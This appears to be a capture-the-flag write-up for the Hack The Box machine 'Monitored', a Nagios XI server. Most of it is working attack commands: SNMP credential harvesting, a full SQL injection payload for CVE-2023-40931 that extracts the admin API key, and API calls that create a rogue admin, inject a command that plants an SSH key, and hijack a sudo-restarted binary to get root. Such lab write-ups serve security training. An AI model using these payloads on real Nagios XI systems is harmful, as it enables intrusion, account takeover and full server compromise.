Post

Monitored

SNMP's default community string exposes a plaintext service-account password from a running process's argument list, which authenticates to Nagios XI where CVE-2023-40931 SQL injection extracts the admin API key, enabling malicious check-command injection that writes an SSH key and lands a shell as the nagios user.

Monitored

Overview

Monitored is a medium-difficulty Linux box running Nagios XI. The attack begins with SNMP — left on its default public community string — leaking a service-account password from the process argument table. That credential authenticates to Nagios XI’s API, where CVE-2023-40931 (SQL injection in the banner-acknowledgement endpoint) exfiltrates the admin API key. With admin access, a malicious monitoring check command is injected via the configuration API, forced to execute, and writes our SSH public key — landing a shell as nagios. Privilege escalation exploits a writable npcd binary that root restarts via passwordless sudo.

Machine Matrix

Enumeration Real-Life CVE Custom Exploitation CTF-like

High enumeration and real-life scores reflect the multi-layer recon (SNMP, vhost discovery, API probing) and the fact that every technique — default SNMP credentials, production CVE SQLi, and writable service binaries — appears routinely in real enterprise environments.

Recon

PortServiceNotes
22SSH (OpenSSH)Standard; password auth disabled
80HTTP (Apache)Redirects to HTTPS
389LDAPOpen but not directly exploited
443HTTPS (Apache)Hosts nagios.monitored.htb — Nagios XI web UI
1
2
nmap -p- --min-rate=1000 -T4 -Pn 10.10.10.X
nmap -p22,80,389,443 -sC -sV -Pn 10.10.10.X

The HTTPS vhost resolves to nagios.monitored.htb (add to /etc/hosts). UDP scanning also reveals port 161 running SNMP with the default public community string — the entry point for everything that follows.

Enumeration

SNMP’s process-argument OID (hrSWRunParameters) exposes the full command line of every running process. A health-check script passes credentials as positional arguments, making them visible externally:

1
snmpwalk -v2c -c public 10.10.10.X 1.3.6.1.2.1.25.4.2.1.5 | grep -v '""'

This reveals svc:XjH7VCehowpR1xZB in the check_host.sh argument list — a cleartext credential storage problem compounded by sensitive information in process arguments.

Authenticate to the Nagios XI API with the svc credentials to obtain a session token:

1
2
3
4
TOKEN=$(curl -sk -X POST 'https://10.10.10.X/nagiosxi/api/v1/authenticate' \
  -H 'Host: nagios.monitored.htb' \
  --data 'username=svc&password=XjH7VCehowpR1xZB&login_attempts=0' \
  | python3 -c "import sys,json; print(json.load(sys.stdin)['auth_token'])")

Exchange the token for a web session cookie:

1
2
3
4
curl -sk -c /tmp/nag_sess.txt \
  "https://10.10.10.X/nagiosxi/login.php?token=$TOKEN" \
  -H 'Host: nagios.monitored.htb' -L -o /dev/null
SESSION=$(grep nagiosxi /tmp/nag_sess.txt | awk '{print $7}')

With a valid svc session, exploit CVE-2023-40931 — an unsanitised id parameter in the banner-acknowledgement endpoint that reflects MySQL EXTRACTVALUE() errors, enabling error-based SQL injection to read the xi_users table. Extract the nagiosadmin API key in 30-character chunks:

1
2
3
4
5
6
7
8
9
for OFFSET in 1 31 61; do
  curl -sk -X POST \
    'https://10.10.10.X/nagiosxi/admin/banner_message-ajaxhelper.php' \
    -H 'Host: nagios.monitored.htb' \
    -b "nagiosxi=$SESSION" \
    --data-urlencode 'action=acknowledge_banner_message' \
    --data-urlencode "id=3 AND EXTRACTVALUE(1,CONCAT(0x7e,SUBSTR((SELECT api_key FROM xi_users WHERE username=0x6e6167696f7361646d696e),$OFFSET,30),0x7e))-- -" \
    | grep -oP "(?<=~)[^'~<]+"
done

The three chunks assemble into the full admin API key.

Foothold

With the admin API key, create a new admin-level user to obtain a stable session with an NSP token (needed to schedule checks):

1
2
3
4
5
6
ADMIN_KEY="IudGPHd9pEKiee9MkJ7ggPD89q3YndctnPeRQOmS2PQ7QIrbJEomFVG6Eut9CHLL"

curl -sk -X POST \
  "https://10.10.10.X/nagiosxi/api/v1/system/user?apikey=$ADMIN_KEY" \
  -H 'Host: nagios.monitored.htb' \
  --data 'username=hacker&password=Hacker123!&name=hacker&email=hacker@localhost&auth_level=admin&force_pw_change=0'

Generate an SSH key pair on the attacker machine:

1
2
ssh-keygen -t rsa -b 2048 -f /tmp/nagios_rsa -N "" -C "" -q
PUB=$(cat /tmp/nagios_rsa.pub)

Register a malicious check command via the configuration API that writes the public key into the nagios user’s authorized_keys:

1
2
3
4
5
curl -sk -X POST \
  "https://10.10.10.X/nagiosxi/api/v1/config/command?apikey=$ADMIN_KEY" \
  -H 'Host: nagios.monitored.htb' \
  --data-urlencode "command_name=evil_cmd" \
  --data-urlencode "command_line=bash -c 'mkdir -p /home/nagios/.ssh && echo $PUB >> /home/nagios/.ssh/authorized_keys && chmod 700 /home/nagios/.ssh && chmod 600 /home/nagios/.ssh/authorized_keys'"

Create a fake service that uses evil_cmd:

1
2
3
4
5
curl -sk -X POST \
  "https://10.10.10.X/nagiosxi/api/v1/config/service?apikey=$ADMIN_KEY" \
  -H 'Host: nagios.monitored.htb' \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  --data 'host_name=localhost&service_description=evil_service&check_command=evil_cmd&max_check_attempts=1&check_interval=1&retry_interval=1&check_period=24x7&notification_interval=60&notification_period=24x7&contacts=nagiosadmin&active_checks_enabled=1'

Apply the configuration to make the service live:

1
2
curl -sk "https://10.10.10.X/nagiosxi/api/v1/system/applyconfig?apikey=$ADMIN_KEY" \
  -H 'Host: nagios.monitored.htb'

Obtain an NSP token from the new admin session (required to schedule checks via the backend):

1
2
3
4
5
6
7
8
9
10
TOKEN=$(curl -sk -X POST 'https://10.10.10.X/nagiosxi/api/v1/authenticate' \
  -H 'Host: nagios.monitored.htb' \
  --data 'username=hacker&password=Hacker123!&login_attempts=0' \
  | python3 -c "import sys,json; print(json.load(sys.stdin)['auth_token'])")
curl -sk -c /tmp/hck2.txt "https://10.10.10.X/nagiosxi/login.php?token=$TOKEN" \
  -H 'Host: nagios.monitored.htb' -L -o /dev/null
SESS=$(grep nagiosxi /tmp/hck2.txt | awk '{print $7}')
NSP=$(curl -sk "https://10.10.10.X/nagiosxi/includes/components/ccm/?cmd=modify&type=host&id=1" \
  -H 'Host: nagios.monitored.htb' -b "nagiosxi=$SESS" \
  | grep -oP 'nsp_str = "[^"]+' | cut -d'"' -f2)

Force an immediate service check, triggering evil_cmd as the nagios OS user:

1
2
3
4
curl -sk -X POST 'https://10.10.10.X/nagiosxi/backend/index.php' \
  -H 'Host: nagios.monitored.htb' \
  -b "nagiosxi=$SESS" \
  --data "cmd=submitcommand&command=SCHEDULE_FORCED_SVC_CHECK&host=localhost&service=evil_service&scheduled_time=$(date +%s)&nsp=$NSP"

Wait approximately 30 seconds, then SSH in using the private key:

1
ssh -i /tmp/nagios_rsa -o StrictHostKeyChecking=no [email protected]

User flag

1
cat /home/nagios/user.txt   # HTB{...}

We land directly as nagios and the user flag is ours.

Privilege Escalation

Once on the box as nagios, check for writable binaries that run under elevated privileges:

1
ls -la /usr/local/nagios/bin/npcd /usr/local/nagios/bin/nagios

The npcd binary is owned by nagios with full owner write permissions — a world-writable or user-writable trusted executable. Crucially, sudo -l shows manage_services.sh can restart it without a password, meaning root will execute whatever binary sits at that path — a privilege management failure.

Stop npcd first to release the file handle (prevents “Text file busy”):

1
sudo /usr/local/nagiosxi/scripts/manage_services.sh stop npcd

Overwrite npcd with a shell script that appends our public key to root’s authorized_keys:

1
2
3
4
PUB="ssh-rsa AAAA..."
printf "#!/bin/bash\nmkdir -p /root/.ssh\necho '$PUB' >> /root/.ssh/authorized_keys\nchmod 700 /root/.ssh\nchmod 600 /root/.ssh/authorized_keys\n" \
  > /usr/local/nagios/bin/npcd
chmod +x /usr/local/nagios/bin/npcd

Restart npcd via sudo — root executes our script:

1
sudo /usr/local/nagiosxi/scripts/manage_services.sh start npcd

SSH as root from the attacker machine:

1
ssh -i /tmp/nagios_rsa [email protected]

Root flag

1
cat /root/root.txt   # HTB{...}

Full root compromise confirmed — both flags captured.

This post is licensed under CC BY 4.0 by the author.